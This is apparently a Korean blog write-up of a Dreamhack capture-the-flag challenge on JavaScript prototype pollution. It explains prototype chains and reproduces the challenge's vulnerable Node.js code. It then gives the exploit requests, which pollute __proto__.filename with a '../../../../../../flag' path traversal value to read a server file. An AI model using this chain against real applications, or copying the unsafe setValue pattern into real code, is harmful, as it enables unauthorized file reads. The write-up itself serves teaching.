오늘 드림핵 문제를 풀다가 발견한 취약점은 Prototype Pollution이라는 다소 생소한 취약점이었다.
1. 배경 지식
자바스크립트는 객체지향 언어를 표방하지만 class라는 개념이 없고 상속 기능이 없다.
그래서 자바스크립트는 prototype이라는 기능으로 상속 기능을 구현했다.
Prototype 객체를 이용해서, 자바스크립트에서 객체의 부모는 __proto__로 접근할 수 있다. 자식 객체에서 어떤 벼수를 찾을 수 없으면 부모 객체에서 해당 변수를 찾는데, 자바스크립트는 Prototype Chain이라고 한다.
let user = {
name: ‘scyoon’,
age: 20,
}
console.log(user.hasOwnProperty(‘name’)); // true
[참고] https://poiemaweb.com/js-prototype
위에서 hasOwnProperty()를 선언하지 않아도 사용할 수 있는 이유가 user 객체가 이 메소드를 상속받아서 사용하기 때문이다. 중괄호를 통한 객체 선언 방식은 내부적으로 new Object();가 실행되며 상속받게 되는 것이다.
var a = {
attr1: 'a1'
}
var b = {
attr2: 'a2'
}
b.__proto__ = a;
b.attr1 // 'a1'
[출처] https://meetup.toast.com/posts/104
이제 예제 코드를 보고 proto를 이해해 보면, b.__proto__를 통해서 b의 부모객체를 a로 두고 b가 a의 변수를 상속받아서 사용할 수 있다.
Object.prototype.hi = true;
let foo = {bar: 1};
console.log(foo.hi); // true
console.log(hi); // true
[출처] https://ufo.stealien.com/2020-12-23/javascript-prototype-pollution
이제 다시 코드를 보면, 중괄호를 통한 상속은 Object.prototype이기 때문에, 정의되지 않은 속성을 사용할때, Object.prototype에 해당 속성이 있는지 확인한다.
2. Prototype Pollution
이제 취약점을 알아보면, 이 Prototype Chain을 이용한 취약점이다.
let foo = {bar: 1}; let user = { name: 'ch4n3.yoon', age: 20, } foo.__proto__.isAdmin = true; // exploit if (user.isAdmin) { console.log(`${user.name} is admin`); // console.log() will be executed }
이 코드를 보면, User도 중괄호를 통해서 Object.prototype으로 선언된 객체인데, foo도 마찬가지 이므로, foo.__proto__가 isAdmin이라는 정의되지 않은 메소드를 사용할 수 있는 것이다.
실전에서 찾아보면 CVE-2020-8116 가 있다.
이제 드림핵 문제를 보면,
#docker file RUN echo 'BISC{fake flag}' > /flag #app.js file function setValue(obj, key, value) { const keylist = key.split('.'); const e = keylist.shift(); if (keylist.length > 0) { if (!isObject(obj[e])) obj[e] = {}; setValue(obj[e], keylist.join('.'), value); } else { obj[key] = value; return obj; } } app.get('/readfile',function(req,resp){ let filename=file[req.query.filename]; if(filename==null){ fs.readFile(__dirname+'/storage/'+read['filename'],'UTF-8',function(err,data){ resp.send(data); }) }else{ read[filename]=filename.replaceAll('.',''); fs.readFile(__dirname+'/storage/'+read[filename],'UTF-8',function(err,data){ if(err==null){ resp.send(data); }else{ resp.send('file is not existed'); } }) } }) app.get('/test',function(req,resp){ let {func,filename,rename}=req.query; if(func==null){ resp.send("this page hasn't been made yet"); }else if(func=='rename'){ setValue(file,filename,rename) resp.send('rename'); }else if(func=='reset'){ read={}; resp.send("file reset"); } })
/test에서 func=rename을 이용해서 setvalue를 호출하고, setvalue에 들어갈, filename하고 rename인자를 넣어주면된다.
/readfile을 보면, filename이 없을 경우 . 을 replace하지 않는 것을 착안한다.
filename=__proto__.filename으로, reaname은 ../../../../../flag를 통해서 filename을 초기화하고, 상위 디렉터리 어딘가에 있을 flag값으로 초기화해준다.
이후 /reset으로 read={} 와 file={}을 없애주면.. /readfile을 할 경우에, filename이 null일 경우로 초기화된 값을 주는데 그 값이 앞서 설정한 flag 값으로 나오게 된다.
정리
- /test?func=rename&filename={Object객체}__proto__.filename&rename=../../../../../../flag
- /test?reset
- /readfile
끝.